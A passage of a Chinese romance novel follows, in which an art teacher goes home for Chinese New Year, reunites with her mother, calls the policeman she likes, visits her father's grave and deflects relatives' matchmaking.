现在看来她朋友挺多的嘛,他属实是多管闲事了。
他就是闲的才跟下来吹风。
“我没事。”感觉到她灼热的目光,陈时澹始终绷着脸不看她。
听到他这么说,乔星若点点头,转回去继续跟江嘉明说话。
“你跟我还客气什么,正好顺路嘛。”江嘉明也注意到了陈时澹,主动打招呼,“师哥,又见面了,新年快乐啊。”
虽然看他这副模样,不像是快乐的样子。
上次对陈时澹的印象就是很高冷的感觉,所以江嘉明也没指望他能回答,继续跟乔星若说话:“对了,你不是说跟弟弟一起回去么,弟弟呢?”
乔星若看了眼手机:“应该快到了,他刚临时有事回了趟实习的医院,现在从那里赶过来。”
陈时澹闻言,眼睑微动。
哦,骂早了。
他沉默了几秒,低声说:“新年快乐。”
“……”
他们闲聊着,江嘉明隔着猫包逗了会儿乔咪咪。
不知过了多久,有辆出租车停在他们几米外。乔景元下车,单肩背着包,推着行李小跑过来。
“姐姐!”乔景元给了乔星若一个熊抱,转头看向江嘉明,“你是嘉明哥吧?不好意思啊,我导师临时找我有点事情所以迟了点,让你们久等了。”
江嘉明笑了笑:“没关系,我们也才刚汇合。”
乔景元拉下口罩,又看向陈时澹。他对陈时澹的印象还停留在眼神杀,不敢贸然打招呼。
倒是陈时澹注意到他的视线,勾起一抹自认为友善的笑容:“你好。”
乔景元:“???!!”
这人居然?!
乔景元像吃了菌子中毒似的,心里觉得有些恍惚,但行为上仍不忘教养:“警官你好,新年好……”
跟对江嘉明的称呼一对比,陈时澹不太高兴,气势上有些变回工作时凌厉的趋势:“现在不是工作时间,不用这么喊我。”
“我叫陈时澹。”
嗯?!他这是……在威胁?
乔景元没说话,有些惊恐地看向自家姐姐。
乔星若也不知道陈时澹怎么奇奇怪怪的,为难地想了一下:“呃,你喊他哥哥就好。”
陈时澹听到的:巴拉巴拉……哥哥。
咳,还挺顺耳。
乔景元人有点麻:“……好的,时澹哥。”心想哪个tan,有后鼻音吗,醋坛子的那个坛吗?
陈时澹勾了下唇,“嗯”了一声。
“时间差不多了,我们走吧。”江嘉明瞥见陈时澹搭着的行李箱,便上前要接过来,“这是若若的行李吧?给我就好,谢谢师哥帮若若搬行李了啊。”
啧,也没什么很特殊的关系吧就这么说话,谁家的花孔雀跑出来了?
陈时澹绕过他,瞥了眼乔星若:“你谢什么,该谢的另有其人。”
乔星若听着以为是在点她,下意识说:“谢谢。”
陈时澹:“。”
他冷着脸把行李搬到后备箱,瞥了眼正在给猫盖毯子的乔星若:“到了给我发个消息。”
听着像是客套话,乔星若应了一声:“好。”
“……”
因为要照顾乔咪咪,乔星若和它一起坐在后座,一直观察它的反应。
她在先前就给乔咪咪吃了预防应激的胶囊,似乎是起作用了,看它的状态昏昏沉沉的,一直在睡觉。
车里只剩下副驾上的乔景元的声音,他一直在吐槽自己实习的医院有多阴。
“如果能重来我肯定不学医了,我们实习生没工资还要交学费,去给他们当免费劳动力,放个假还调休,我恨调休!”
“就特么一周,一群大傻狗还在那里说什么‘凭什么实习的能放假啊’,服了,大学生不放假放什么,放马吗?”
另外两人听着,忍俊不禁。
江嘉明也分享自己的经历:“我记得我高中那会儿,别人还在家里过年,我们美术生过完大年初一就要回画室上课了。”
“还有一些什么清明端午的小长假啊身边的
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同学放假,我们还要回画室上课,然后还被人嘲笑说我们是走捷径的少点假怎么了,反正都是去那里吹空调画着玩的。”
乔星若深以为然,像是找到自己的同类般狠狠赞同:“就是啊,我也经常听到这种话。”
身边大多只有家里人知道学艺术的孩子有多辛苦,因为他们愿意为了自己的孩子真正去了解过艺考,不像那些无知妄说的人。
“本来压力就大了,听到这种话只想创死他们。”乔星若开玩笑道。
乔景元回头笑了:“姐我可理解你了,你还记得我上初中的时候成绩特烂不,我妈就威胁我要是再不好好学文化就送我去学美术,当时我看到你每天身上脏兮兮的,上了高中之后瘦的皮包骨,给我吓死了,连夜发愤图强。”
乔星若恍然大悟。
怪不得之前去他们家做客,婶婶乐滋滋说乔景元受了点刺激突然就开窍了,成绩噌噌长。
江嘉明眉梢一扬:“不过就算读完书出来也没什么变化啊,从事了教培之后,跟读书那会儿没什么区别,同样没什么假期。也就今年还好了,往年我带高三学生,还得陪那些准备校考的师弟师妹在画室吃年夜饭。”
“……”
路途刚启程的时候,三人兴致勃勃吃着零食聊着天,其乐融融。
乔景元坐在副驾很自觉,自己吃还不忘给江嘉明投喂。
到后面没人再说话,车内的气氛变得低沉,空气中散发着让人昏昏欲睡的气味。
乔星若在不熟悉的环境里睡眠浅,而且心里牵挂着乔咪咪,几乎是眯一会儿就惊醒,下意识去瞧一眼旁边的猫包。
江嘉明作为唯一清醒的人,自然能通过后视镜注意到乔星若的举动。
在某次堵车时正好看到她睁开眼了,他压低声说:“再睡一会儿吧,刚上高速,现在堵着车呢,估计还得好几个小时。”
“好,你辛苦啦。”乔星若沉着脑袋,微微点一下头,又闭眼睡了过去。
路上堵车无事可做,江嘉明盯着后面女孩儿恬静的睡颜,眼底闪过一抹笑意。
乔咪咪大半个路途都在睡觉,到服务区时,乔星若喂它吃了点东西,喝了点水。
后面她没再把乔咪咪放回猫包里,而是抱在怀里安抚顺毛。
乔星若看着怀里的毛孩子,心里母爱泛滥。
她的咪咪真的太乖太省心了。
一路上没表现出什么应激反应,只是在出来的时候往乔星若的外套里怀里钻,似乎是在找让自己有安全感的气息。
乔景元想抱它还被抗拒了,只给乔星若抱。
担心江嘉明疲劳驾驶,中途乔景元跟他换了一下。从拿到驾照后就没开过车的乔星若虽然手痒,但没敢凑这个热闹。
看到羽城标致物时,乔星若给许敏发了条消息。三人终于赶在天黑之前到达了羽城。
羽城这个地方说大不大,没想到他们还挺有缘的,江嘉明老家跟乔家姐弟俩的家隔得不算远,一个在郊区,另两个在市区。
江嘉明提出先送他们回市里,乔星若给他报了个小区名字。
车在小区外面停下。
许敏已经在小区门口等着了。
女人裹着厚厚的长款羽绒服,捧着手机,时不时抬头张望一下周围。
乔星若从车上下来,看着多年未见的妈妈,有些发怔。
25. 坍塌
许敏的眼眶泛红,声音有些哽咽:“若若……”
“妈妈,我回来啦。”乔星若朝许敏的方向走近,被后者展开手臂拥入怀里。
她的喉咙一下子变得哽咽,鼻子酸涩。
“回来就好,回来就好。”许敏轻声呢喃着,似乎还感觉有些不真实,轻轻拍着乔星若的背,“还是这么瘦,你个小骗子还说有好好吃饭……”
“……”
“伯母好久不见啊,新年快乐!”乔景元也从车上下来,大大咧咧地跑过来加入拥抱。
他一米八五的个子,身形宽大,几乎能将两人都覆盖住。
伤感的气氛也因这个阳光开朗的男生缓和了些。
江嘉明也下车了,没打扰他们团聚,默默绕到后备箱帮他们把行李搬下来。
这一路多亏了江嘉明,姐弟俩不好意思再让他弄这个,连忙过去自己搬。
乔星若把猫包取出来,关上车门:“谢谢啊明哥,改天请你吃饭。”
江嘉明没跟她客气:“行啊,那我可得好好挑个地方了。”
乔星若笑了笑:“好。”
许敏也注意到了江嘉明:“这位是?”
“这是我朋友,也是同事。他老家在羽城,所以就顺路捎上了我和景元。”乔星若给许敏介绍完,重新看向江嘉明,“这是我妈妈。”
江嘉明:“阿姨好,我叫江嘉明,您叫我小江就好,新年快乐。”
举止大方得体,有礼貌,许敏对送女儿侄子回来的男人第一印象很好。
“小江啊,新年快乐。谢谢你送他们回来,辛苦啦,要不来我们家坐坐吧,喝口热茶暖暖身子。”许敏热情邀请道。
“不了阿姨,我家里人也在等我了,我改天再上门来拜访。”江嘉明婉拒后,跟他们道别完驱车离去。
室外风大,他们没再外面多停留,一起进了小区。
乔景元跟她们说了一声,往自家的单元楼方向走去。
虽然经常打电话,可现在见面了,乔星若却莫名不知道该说什么。
几乎都是许敏在找话题,她乖乖回答。
小区一梯四户,她们家在二楼。刚进入单元楼,正好看见201的邻居阿姨从电梯里出来。对方也看到了许敏,主动打了个招呼。
见到这个地方的熟人,乔星若下意识低下头,视线下移至鞋尖,手指无措地攥紧胸前的猫包。
像个做错了事情,被妈妈带回家的孩子。
可她不是坏孩子,她很委屈,很难过。
许敏感觉到了乔星若的不安,回应邻居的同时身体不动声色挪了挪,将她挡在身后。
但邻居阿姨还是注意到了乔星若,仔细打量了她两秒,觉得眼熟:“哎,这是……”
那一瞬间,乔星若脑海里的某个角落似乎坍塌了,轰然一片。
记忆深处的噩梦被唤醒,无数负面情绪铺天盖地般袭来。
她的眼神迷茫闪躲,咬着没有血色的下唇,往后退了一步。脚步悬浮,像是找不到落脚点,身形不稳,随时要落空。
只是这样而已……只是遇到了曾经认识的人而已,甚至对方都没有完全认出她,她就受不了了。
果然,她还是什么都没有改变……
不该回来的。
可下一秒,便被一只温暖干燥的手掌拉了回去。
许敏轻轻握住乔星若的手,神色柔和:“她是我的宝贝女儿呀。”
“……”
那些张牙虎爪的情绪像是得到了安抚,被一点一点抚顺。
乔星若空洞的瞳孔渐渐变得清明,手指渐渐收紧,紧紧牵着那只主动施予宽慰的手,又怕弄疼她,颤抖控制着力度。
她的注意力都放在那只手上,摸到了不属于自己却又异常熟悉的皮肤纹理,还有常年操劳而起的厚茧子。
内心稍稍平静后,刚才冒出来后悔的念头逐渐褪去。
“是若若吗?”邻居阿姨的声音传来。
乔星若站在许敏身后,缓缓抬眸,茫然抿着唇。
邻居阿姨笑了:“你不记得我啦?小时候你还没灶台高,你妈妈又忙得很,你就经常在我家待着,跟我们一起吃饭呀。”
“……”没有感觉到预想中的怜悯惋惜,乔星若呆呆怔住,喉咙一紧,发不出任何声音。
另外两人没催促,只是温和看着她。
过了许久,她的鼻腔轻轻发出一声“嗯”,算是回应。
寒暄了几句,邻居阿姨还有事要出门,便道别离开了。
从头到尾都没有提起过那件事情,仿佛从来没有发生过。对她的态度也只是在看一个出去读书很久没回来的邻家小孩而已。
好像……没她想的那么糟。
电梯厢停在二楼,许敏拉着她来到熟悉的家门前。门前的春联换上了新的,红纸崭新发艳,墨字笔走龙蛇。
许敏用指纹解锁开门,拿了双粉色的棉拖鞋放到乔星若跟前:“若若,进来吧,回家啦。”
家里的布局还是跟几年前一样,甚至连东西的摆放都没什么变化。
乔星若换好鞋,缓缓走进客厅,目光扫视着这个四四方方的空间。
沙发旁边的柜子上方摆放的照片全是关于她的,有小时候的,有小初高三个时期的。
其中一张是她大学毕业典礼的照片,相框上写了一行小字,是她大学毕业的时间。
当时许敏问她要了照片,说想看看她穿学士服的样子,她也没想到会被洗出来珍藏着。
乔星若用指腹轻轻拂过那行字迹,似乎还能感觉到无形的余温。
其实她觉得自己挺没良心的,这么多年不回来,也不愿意见许敏。
她那几年是灰暗的,那许敏又何尝不是呢……
工作了之后才知道钱有多难赚,可这几年她心理病上产生的费用大半都是许敏掏的。
为这个不确定能不能有作用的事情投入了无数的经济,也不能亲自确认一下她的恢复程度,还要小心翼翼跟她相处,其中的压力难以想象。
“妈妈,你怪我吗?”乔星若的手垂到身侧,神情有些颓丧。
“你没错呀,这些年彼此各有难处,妈妈爱你,自然是能理解你的。”许敏的笑容温婉,只是相比印象中的苍老不少,“要说怪,我只怪我自己。”
“怪我自己识人不清,怪我自己不够坚强。明明我们两个人的家已经是最好的了,不应该再让第三个人来破坏这片安宁之地的。”
“若若是不是也怪妈妈?”
乔星若眼眶湿润,抿着唇摇头:“没有,一点
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都没有……谁也不想的,不是我们的错,我知道的……”
“若若,妈妈也知道的。”许敏抱住她,像抱孩子似的把她的脑袋往怀里掖,轻轻安抚着,“你要健康,妈妈什么都不要,只要你健康。”
“……”
许敏做年夜饭期间,乔星若把乔咪咪从猫包里抱出来。
这小馋鬼一顿不吃跟将它吊起来打一样,路上也没吃过多少东西。乔星若担心它饿坏了,便给它倒猫粮和水。
乔咪咪确实是饿了,闻到味就扑了过来,疯狂嚼嚼嚼。
乔星若还给它弄了个简易版猫砂盆,猫砂是从海城那边带过来的那小半袋。
做完这些,乔星若想进厨房帮忙,却硬生生被赶了出来。
许敏将一盆洗干净的水果递给她,推搡着她到厨房门口:“哎呀若若你做了这么久的车回来,肯定累了,你赶紧休息一下,吃点东西看看电视。”
“好吧。”乔星若回到客厅,打开电视。也没什么想看的,调了个少儿频道当背景音,便开始玩手机。
看到绿泡泡列表未降下去的手绘橙子头像,她忽然想起陈时澹今天跟她说的最后一句话。
——“到了给我发个消息。”
清冽的声音仿佛还在耳边萦绕,同清爽带着甘甜的橙子,冬天吃实在冷,可又实在馋。
脸颊隐隐有发烫的征兆,乔星若忍着没再胡思乱想,给陈时澹发消息。
敲星惹:师哥,我到家啦,你呢?
陈时澹:我也到了。
乔星若思考了一下,找了个话题:你吃年夜饭了吗?
几秒后,对面发了张图片过来。乔星若下意识点开,是陈时云和几个小孩在玩星星棒的场景。
陈时澹:还没,在当孩子王,陪这傻云和她的小伙伴放烟花。
陈时澹:他们因为烟花分配问题吵起来了,说要报警,陈时云就把我拉过来了。。
乔星若噗嗤一声,眼眸弯成小月牙。
虽然但是,可怜但好笑。
敲星惹:大过年还出任务,给陈警官点赞【表情/调皮】【表情/赞】
“……”
此时的陈时澹倚在楼下的墙根边上,环臂看手机的姿势散漫,嘴里还叼着根棒棒糖。
无视那几个吵吵闹闹玩网络热梗的孩哥孩姐,看到乔星若的这条消息时,唇角挑起一个弧度。
“糖哥哥你笑啥呢?”有个住他爸妈隔壁的小孩哥熟练地从他外套口袋里掏了颗软糖,撕开包装把糖吃掉后,想把垃圾扔在地上。
“管大人的事不如管好你自己。”陈时澹懒懒垂眸,伸手轻拍了一下小孩哥的后脑勺,“敢扔地上就把你拷回局里当烧烤配菜。”
“哦。”小孩哥没扔地上,塞回了陈时澹的外套口袋里,蹦蹦跳跳过去跟其他人玩。
陈时澹:“。”
反了天了。
也不知道是不是年纪大了,他对年纪小的人是真没辙。
比如某个师妹。
也不知道自己什么毛病,莫名其妙又想到了乔星若,这种感觉很不爽。
陈时澹顿了几秒,给她回了个“无语”的表情包。
乔星若看到他发来的表情包,想到某人一脸高冷地翻表情包怼人的画面,忍俊不禁。
26. 通话
“若若,过来吃饭啦。”许敏把最后一道菜端到饭厅。
“好!”乔星若起身走到过去,看到了一桌色香味俱全的年夜饭。
菜品丰盛,即便只有她们两个人,许敏也没有简单应付。
许敏厨艺好,乔星若回到羽城之前她就在着手备菜了,所以到家之后炒菜用的时间不长。
许敏盛了碗汤放在乔星若跟前:“饿了吧?来尝尝看,你小时候最喜欢喝我煮的排骨汤了。”
汤面白雾缭绕,带着扑鼻的山药排骨香味。
乔星若端起碗来,轻轻吹凉后抿了一口,弯眸道:“还是那么好喝。”
许敏听着很高兴:“真的?那多喝点啊,还有这些菜也多吃点,这几天想吃什么尽管说,妈妈都给你做。”
“好,谢谢妈妈。”
“……”
吃完年夜饭,两人将碗筷收拾进厨房的洗碗机,一起来到客厅看春晚。
他们这里大多数人家有守岁的习惯,在除夕夜灯火通明一整宿。
乔星若对春晚兴趣不大,看得心不在焉。加上今天坐了很久的车,疲惫感在不知不觉中滋生,眼皮发沉。
许敏注意到她面容有些倦怠,顾及到她今天太累了,便提议道:“若若,是不是困了?先回房间洗个热水澡好好休息吧,我也觉得有些困了,想早点休息。”
乔星若迟疑了一下,点点头。
两人从沙发上起来,一起往卧室的方向走。
乔星若当然不至于不记得自己的房间怎么走,只是在潜意识里,她对那个房间还存在着畏惧。
她忍着那种对即将经历过去的恐慌感,抱着乔咪咪沉默跟在许敏身后。
脚步像是拖了千斤重的铁石,每一步都沉重。
许敏忽然停下来回头,温和注视着乔星若,轻声询问:“若若,你可以跟妈妈换个房间吗?”
乔星若愣了一下,有些没反应过来。
担心她会多想,许敏耐心解释:“……因为我种了很多盆栽在你房间的小阳台上,经常要进进出出浇水打理,所以这两年我都是在你的房间睡觉,住惯这屋了。”
“……”
许敏见她不说话,低声与她商量:“妈妈那屋也收拾好了,干干净净的,喷了你喜欢的味道的除螨喷雾,将就一下好不好?要是住不惯明天我们再换回来。”
“可以的。”乔星若顿了两秒,小声说,“谢谢妈妈。”
“晚安。”
“安安。”
“……”
许敏的房间有独立卫浴,乔星若翻出了套睡衣进浴室里洗澡。十来分钟后,她将及肩的头发擦得半干,将毛巾挂好,趿拉着拖鞋出来。
许敏卧室的床是换过了的,以前的床头是可以打开收纳东西的那种,现在变成了一块普通的木板。
被褥也是新的,乔星若横躺上床,将脸埋进去。
上面的除螨喷雾味道还没散去,清淡的天鹅绒花香,让她的神经放松下来,脸颊浮现一层浅浅的粉。
乔星若确实是想休息了,但是——
太多群发红包了吧……
这哪还睡得着。
感觉自己这一觉睡下去能错过一个亿。
特别是山河画室的那个初中群,江嘉明和欧辞钦很宠学生,呼声越大发得越起劲,一个红包数额够买几斤樱花橡皮。
乔星若默默潜水捡红包,越捡越精神。
发了发了。
有学生发现了她,艾特“乔星若老师”也发红包。
乔星若:“……”
睡了睡了。
最后还是斥巨资发了三百块钱。
乔星若本来没想守岁的,看着学生们扯皮闹腾,还有人发了老家的满天烟火的视频,不知不觉到了零点。
市里不让放烟花,所以周围寂静无声,只有手机消息提示音丁零当啷地响,倒也有过年热闹的氛围。
几个群的消息99+,乔星若还收到了几条卡点的新年祝福。虽然看着像群发的,但她还是认真回复了。
其中还有陈时澹的。
乔星若下意识点了进去。
跟之前元旦那个纸团上的词一模一样。
——新年快乐,乔星星。
乔星若趴在床上悠晃着腿,有点开心。但开心之余又有点疑惑,他是记错自己的名字了吗?
她现在算是在追人阶段吧,如果crush到现在都没记清楚自己的名字,是不是有点太失败了?
迟疑几秒,她还是决定提醒一下。
敲星惹:师哥你也新年快乐~那个师哥,你是不是记错我的名字啦?是星若,不是星星。
陈时澹:。
陈时澹:没记错。
乔星若以为他是要面子,便自认为很有情商地没再说什么。
过了一会儿,陈时澹发来了句语音条:“你要睡觉了吗?”
乔星若转成文字后,又点开听了一遍,白皙的耳垂顿时泛红。
片刻后,她诚实道:还没,等群都安静下来吧,怕错过泼天富贵。
对面的人似乎是被她逗笑了,下一条带了点不明显的笑意:“嗯,那方便语音吗,陈时云她说想你了,要跟你说新年快乐。”
语音?
乔星若在床上翻了个身,猛地坐了起来。
等等等等等。
她是社恐啊,除了跟关系很好的家人或者工作上必要情况,其余的电话都一律装死。
她怎么可能跟陈时澹语音通话……
几分钟后——
“……喂?”
乔星若咽了咽口水,试探着开口。
另一边的陈时澹还没来得及说话,便被陈时云拽着臂弯往下扯:“你给我,我要跟若若姐姐说话!”
乔星若听到那边的动静,没忍住噗嗤一声。
“别闹。”陈时澹漫不经心单手制裁着这小孩,跟乔星若说话,“新年快乐啊。”
“新年快乐。”
虽然已经发消息说过了,但和连线说的感觉不太一样,怪不得这么多人喜欢听广播剧。
唯一的一点点遗憾应该就是不能当面说。
“行行行,给你,赶紧聊完去睡觉。”陈时澹开了免提,把手机递给陈时云。转身从茶几上拿了个苹果在手里抛了抛,咬了一大口。
“姐姐新年快乐!”
陈时云语气里带着小孩子的俏皮可爱,听的乔星若心软软的,声音不自觉夹了点:“小云新年快乐呀,祝你新的一年平安顺遂,天天开心。”
陈时澹一直在听她们说话,听到她的声音,唇角微不可察地上扬了一点。
这人还挺会哄小孩。
陈时云和乔星若分享今晚的事情,和朋友放了烟花,然后和妈妈爸爸哥哥去希明桥看了喷火表演和烟花秀。<
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p>后者安静听着,给怀里的乔咪咪顺着毛,偶尔故作惊讶回句“哦,是吗”。
聊到后面,困倦感又袭了上来,乔星若的声音也染上了点含糊。
陈时澹听出来了,想过来收回手机催陈时云去睡觉。可在听到这小不点的下一句话时,动作顿住。
陈时云问她:“姐姐,你什么时候回来呀?”
乔星若脑子迟缓思考着,乔景元假期到初八,那他们应该是在假期最后一天回海城。
“初七吧。”
“真哒?”陈时云眼睛亮了,压低声说,“姐姐,我哥哥初十生日哦。”
“咳——”
陈时澹快步走过来夺回手机,用力揉乱了她的头发:“睡觉去。”
“哦。”陈时云撇撇嘴,从沙发上蹦下来,小跑回了房间。
陈时澹收回视线,喉结微动:“她乱说的,你别管她。”
“啊,没事的。”乔星若还在捏着下巴若有所思。
想到她生日的时候陈时澹送给她的蛋糕,她犹豫着提了句:“师哥,要不你生日的时候我也给你做个蛋糕?”
深受其小饼干害的陈时澹:“……”
乔星若眨了眨眼:“你怎么不说话?”
陈时澹平静的声音响起:“……那真是,谢谢你了。”
“嗯?不客气呀,礼尚往来嘛。”
陈时澹沉默片刻,问:“你认真的?”
乔星若在他看不见的地方重重点头:“嗯嗯!正好我没做过蛋糕,想试试。”
陈时澹:“……”
差点就感动了。
察觉出陈时澹的欲言又止,乔星若以为他不想要她做的蛋糕,抿了抿唇。
自己主动提出什么都是需要在先前构建很大的决心的,本以为他们的关系也算是朋友了,但是他好像不是这么认为的。
“你要是不想要的话就……”
“做可以。”陈时澹的声音低低的,融进冰冷的夜里,“但是得让我在旁边看着。”
不知道是不是心理作用,乔星若觉得耳朵有点痒,回答得磕绊:“……好、好呀。”
“早点休息,晚安。”
“晚安。”
“……”
结束和陈时澹的语音通话后,乔星若已经困倦得脑子转不动了。
她重新把脸往被褥里摔下去,翻动着身体把自己裹进被窝里,像条毛毛虫一样蠕动整个身体往床头的枕头挪。
正要安心闭眼时,却眼尖瞥见枕头下露出的一角殷红。
乔星若怔了一下,伸手将那一角抽出来。
是一个红包。
质感厚实,被里面装着的东西撑得鼓鼓的。
乔星若很久没收过现金红包了,指腹轻轻摩挲着封面,被这不算陌生的材质弄的鼻子有点酸。
她被熟悉的天鹅绒花气息包围着,怀里还有自己的小猫,这一觉睡得还算安稳。
半夜迷迷糊糊醒过一次,感觉到怀里那团毛绒绒均匀的呼吸,莫名的踏实感让她再度沉睡过去。
翌日再次睁眼时,已经天光大亮。
日光从没遮严实的窗外照进来,乔星若惺忪揉了揉眼睛,从床上呆坐起来,等待脑子开机。
读书的时候练出来的技能,站或坐着看范画都能睡着。
过了不知道多久,乔星若重新睁开眼,发现自己不知什么时候又睡了过去。
27. 扫墓
房间的门在这时被敲响,随之而来的是许敏的声音:“若若,起床了吗?准备吃早餐啦。”
“马上!”乔星若扬声回应完,慢吞吞地下床。
洗漱完来到饭厅,许敏正好端着碗筷出来。看到她语气关切:“若若,昨晚睡得好吗,会不会认床呀?”
“挺好的。”乔星若笑了笑,拉开椅子坐了下来。
许敏:“初一不用走亲戚,你有没有什么想做的事情?”
乔星若抿了口粥,考虑了几秒:“没有。”
许敏顿了顿,又道:“今天天气很好呢,要不咱们去看个电影吧?听说你小时候喜欢看的那个动画片每年过年期间都出新电影,我们可以一起去看呀。”
“……电影院人太多了,我不想去。”乔星若垂着眼帘,沉默许久才提出了自己的需求,“我想……我想去看爸爸。”
可能这样有点奇怪,过年去扫墓。
但她确实很久没去看过爸爸了,这次回羽城也不会待很长的时间。
许敏愣了一下,很快答应了:“……好呀,那我们一起过去吧。”
吃完早餐简单收拾好,许敏开车和乔星若一起回了趟花店,包装了束花再过去羽城烈士陵园。
乔星若通过车窗看到了熟悉的风景,有些恍惚。
小时候许敏也经常带她去看乔夜阑,前者认为不能因为她当时是个小孩就避讳死亡。况且她的爸爸是英雄,更应该铭记,为此骄傲。
在别人鲜明美好的青春里,乔星若没有多少美好的回忆。
乔夜阑是名刑警,在她出生那年就牺牲了。许而敏经营着一家花店,收入还不错,在失去丈夫后独自将她带大。
关于乔夜阑的事情,乔星若都是从许敏那里听说的。
许敏和乔夜阑是相亲认识的,觉得合适就结婚了。
乔夜阑性格质朴古板,榆木脑袋不开窍,但婚后待许敏很好。
因为职业原因,家庭注定只占据乔夜阑人生的小小一点。每月不着家几次是常态,有时候就算回来了,也经常没待多久又被一个临时电话又叫走。
乔夜阑好像就是为了做警察而生的,生命的终点也是在某次出任务路上,被人报复致死。
那年,他还没来得及跟家人见最后一面,也没来得及见即将出生的孩子。
但没有太遗憾的是,孩子的名字先前就已经和许敏商量好了。
无论男女,都叫乔星若。
这个孩子对他们来说,宛若夜里的星星,是他们所期盼到来的光。
从乔星若有记忆的开始,小区里的小孩和学校的同学就经常嘲笑她,说她没有爸爸。
这也造成了她内向怕生的性格。
乔星若不爱说话,大家觉得她很木纳无趣,也不爱跟她玩。
乔星若没有朋友,所以课间和体育课大家三五成群聚在一起聊天玩闹时,她安安静静坐在无人的角落里画画。
可能是因为这个契机,让她发掘出了艺术细胞。
美术老师注意到乔星若画画不错,便帮她报名了市青少年绘画比赛。
那次比赛,乔星若拿了市里第一名。
许敏知道这个消息很高兴,问她想不想学美术。
乔星若说想,许敏带她去小区附近的一家机构报了个美术兴趣班。
兴趣班的学生慕强,看乔星若二次元画得好便都来找她说话,各种夸夸。
在那家机构上课的日子,是乔星若整个初中最开心的时光。从小渴望的温暖、被关注得到了满足,她的性格也开朗了一些。
到了初三,美术老师找到她,问她想不想走艺考。
乔星若回家跟许敏提了这个事情,后者没有犹豫:“你喜欢的话,咱就学。”
得到了家人的支持,乔星若没有再过多犹豫。她没有再去那个兴趣班,而是跟着美术老师上专业的初中艺考方向的课。
乔星若本来就对学校的文化课没什么兴趣,如果能走艺术,到了高中她就可以有一半的时间都用来做自己喜欢的事情,这样的生活或许更让她期待。
也不用过多面对那些不待见她的同学的恶语恶行。
她从来没有觉得自己走的是捷径,相反,这是一条很辛苦,却没有很多人理解的路。
但没关系,同行之人能理解,家人能理解。
最重要的是,她喜欢。
最后乔星若凭着优异的艺考成绩和六百出头的文化成绩进入羽城一中。
—
乔星若和许敏轻车熟路走到乔夜阑的墓碑前。
许敏拿出干净的手帕,轻轻擦拭着上面的枯叶和浮尘。动作娴熟,仿佛做过无数次。
氛围莫名的寂静。
许敏自认为没把他们的女儿照顾好,不知道该跟曾经的丈夫说些什么。
而乔星若从小到大没跟亲生父亲相处过,性格上也不是一个健谈的人,自然不知道该说些什么。
良久,她轻声呢喃了一句:“新年快乐,爸爸。”
“……”
没想到大过年的来追悼的不只她们,还有乔夜阑曾经的刑侦队长,徐岸。
徐岸朝她们的方向大步走了过来:“弟妹,你也过来了?新年好。”
许敏认出他,礼貌性微笑:“徐队,新年好。”
听到这个称呼,乔星若低垂着的眼眸颤了颤,有些庆幸自己戴了口罩。
徐岸常年办案,乔星若潜意识里的闪躲行为虽然不算明显,但他还是敏锐注意到了。
锐利的目光朝她射过去,却在她露在外面的眼睛上顿了两秒,觉得格外眼熟。
徐岸很快便想起来了,率直道:“你是乔家的那个女孩?当年那个……”
“徐队。”许敏打断他,“若若和她爸爸很久没见了,让他们单独待一会儿说说话吧,我们借一步叙旧。”
徐岸反应过来,恍然大悟啊了一声:“抱歉啊,小姑娘莫怪。那弟妹咱们过去那边吧,正好我也有个事要跟你提。”
两人说着走远,周围重新恢复寂静。乔星若一直绷着的身体松懈下来,弓着腰在乔夜阑的墓碑前弯下身,指腹缓缓拂过上面的刻字。
——乔夜阑烈士墓
乔星若想了一下,跟他简单提了一下自己这些年在哪里读书工作。
“这么多年没回来看您,不是有意的,只是……实在有事走不开。您别担心我们,我以后也会照顾好妈妈的。”
“……”
乔星若小声诉说着近况。
最后像是下了很大的决心般,她跟乔夜阑提起了陈时澹。
“爸爸,我在海城遇到了一个人,他和您一样,也是警察。”
“你们都是
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特别厉害的人,您如果见过他,一定会很欣赏他的。”
“……”
与此同时,走出一段距离的许敏和徐岸的对话也在进行。
徐岸神情严肃,眼神里透露着一丝顾虑:“弟妹,祢戌文那孙子上个月出来了。”
许敏想起前段时间收到的某条陌生短信,脸色有点苍白。
她沉默片刻,语气平静:“现在是法治社会,他应该也不敢做什么。”
如果有一天,祢戌文再次出现在她面前,她不知道自己会做什么。
但她真想杀了他。
徐岸叹了口气,拍拍许敏的肩膀:“有需要给我打电话,别跟我们这些弟兄们客气。”
“好,谢谢。”
“……”
从烈士陵园出来,乔星若和许敏没在外面多待,开车回了家。
初二开始各种亲戚来来往往,乔星若待在家里不出门,却也抵不过七大姑八大姨来家里拜年。
乔星若脸盲没认得人,也没什么话说,只是安静坐在旁边玩手机,等收红包。
乔星若承认自己是一个很魅钱的人,什么社不社恐的,在客厅坐几小时能收好几个红包,这钱可太好赚了。
可她还是草率了,这红包更像是陪聊费。
那些人自来熟硬拉着她聊,跟查户口似的问她工作和平时的生活状况。知道她今年二十五了还没男朋友,便开始劝她找对象。
乔星若不语,只是一味地尬笑。
自称是她大姨的人热情给她张罗相亲:“若若啊,姨认得一个男的,就是比你大点但成熟稳重,长得挑不出毛病,父母随和好说话,一家四口人只有一个兄弟。他也是在海城工作的,你们肯定有共同话题!怎么样,今晚好好打扮一下,跟姨去跟人认识认识?”
乔星若听到的被着赶鸭子上架的架势搞的有点懵,赶紧摆手:“不了不了,我还……不太想考虑……”
“哎呀你都二十七了,过两年都快三十了,还不知道着急怎么行?”
乔星若:“???”
她怎么就二十七了?怎么就快三十了?
这么突然的吗,都没有人通知她。
到底是谁发明的虚岁,瞬间年龄焦虑……
大姨带来的小孩瘫在沙发上玩手机,跟罗记2中的某魔丸打游戏时的坐姿相差无二,毫不犹豫拆了自家亲妈的台。
“成熟等于老,我听过我妈夸帅哥怎么形容的,所以长得挑不出毛病等于丑,父母好说话说明一家子老实人容易被欺负,娶谁谁过去一起窝囊,妈你要害死我姐呀?”
大姨:“……童言无忌。”
乔星若:“……”亲弟无疑。
气氛缓和一些后,另一位婶也要给乔星若介绍对象:“哎呀婶也认识一个小伙子,是我好朋友的儿子,体制内的,工作稳定一表人才,趁你这几天还在羽城婶安排你们见见呀?实在不行就当多交个朋友了嘛!”
“不用了……真的不用……”乔星若社恐症要犯了,对这催婚的架势有点招架不住。
虽然有些冒昧,但她能感觉到她们言语间的善意,所以也不为此反感,就是单纯有种拒绝不了的无力感。
许敏这时洗完水果出来,多少听到了客厅里的对话,温婉笑笑:“若若还小,不用着急相亲,可能后面自己就遇到喜欢的了。”
28. 过往
乔星若听到这话,脑海里不自觉浮现出了一个人影,脸颊微微泛红。
“哎,话不是这么说的……”几人不劝乔星若了,改劝许敏。
